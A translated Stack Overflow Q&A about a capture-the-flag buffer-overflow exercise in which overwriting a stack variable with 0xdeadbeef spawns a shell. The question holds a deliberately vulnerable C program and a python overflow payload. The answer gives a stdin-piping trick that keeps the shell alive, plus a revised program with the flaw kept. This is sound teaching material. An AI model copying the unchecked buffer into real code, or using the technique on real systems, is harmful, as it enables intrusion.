【问题标题】:Spawned shell terminates quickly after buffer overflow生成的 shell 在缓冲区溢出后迅速终止
【发布时间】:2015-07-17 14:32:33
【问题描述】:

这是要被利用的应用程序的源代码。 ch13.c:

#include <stdlib.h>
#include <stdio.h>

/*
gcc -o ch13 ch13.c -fno-stack-protector
*/


int main()
{

  int var;
  int check = 0x04030201;
  char buf[40];

  fgets(buf,45,stdin);

  printf("\n[buf]: %s\n", buf);
  printf("[check] %p\n", check);

  if ((check != 0x04030201) && (check != 0xdeadbeef))
    printf ("\nYou are on the right way !\n");

  if (check == 0xdeadbeef)
   {
     printf("Yeah dude ! You win !\n");
     system("/bin/dash");
   }
   return 0;
}

在shell中运行后:

python -c 'print "A"*40 + "\xef\xbe\xad\xde"'|./ch13

它显示缓冲区内容和“是的,伙计!你赢了!”但没有新的外壳。 GDB 显示一个新进程已启动,但我无法与之交互。有没有办法与生成的 shell 交互,使其不会快速终止?

【问题讨论】:

  • 你确定系统上有/bin/dash吗?
  • 我很好奇你在这个实验中使用的是什么版本的 GCC——我的版本 (5.1.0) 似乎对变量 buf, var, check 进行排序,所以溢出只会将一个 nul 字节写入check 的第一个字节。我花了 10 分钟弄乱代码,才让变量以正确的顺序放置在堆栈中。
  • 我使用 gcc 版本 4.6.3 (Ubuntu/Linaro 4.6.3-1ubuntu5)

标签: c linux shell buffer-overflow


【解决方案1】:

假设/bin/dash 是一个错字,你的意思是/bin/bash...

您正在将输入输入ch13 程序。当调用system() 时,shell 从调用程序继承stdinstdout,这意味着它从同一管道获取输入。然而,当 shell 开始执行时,管道已经清空了它的所有输入,所以 shell 读取EOF 并立即终止。您真正想要的是将缓冲区溢出传递到stdin,然后继续将内容放入stdin。所以,这样的事情应该可以工作:

echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde" > magic_input
cat magic_input - | ./ch13

您可能看不到 bash 提示符,但您应该能够键入命令、按 Enter 键并获得输出。

编辑:对于未来可能想在家尝试此功能的好奇访问者,您可能希望在问题中使用此 C 程序的更新版本。我的 GCC 版本是以不同的顺序将变量放在堆栈上。将变量放入结构中可防止 GCC 随意对变量重新排序,因此缓冲区溢出应按预期直接进入 check 变量。

#include <stdlib.h>
#include <stdio.h>

/*
gcc -o ch13 ch13.c -fno-stack-protector
*/


int main()
{
  struct {
    char buf[40];
    int check;
  } locals = {.check = 0x04030201};

  fgets(locals.buf,45,stdin);

  printf("\n[buf]: %s\n", locals.buf);
  printf("[check] %p\n", locals.check);

  if ((locals.check != 0x04030201) && (locals.check != 0xdeadbeef))
    printf ("\nYou are on the right way !\n");

  if (locals.check == 0xdeadbeef)
   {
     printf("Yeah dude ! You win !\n");
     system("/bin/bash");
   }
   return 0;
}

【讨论】:

  • 非常感谢您的帮助。完美运行。
猜你喜欢
  • 2012-06-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2012-08-30
  • 1970-01-01
  • 1970-01-01
  • 2016-01-15
相关资源
最近更新 更多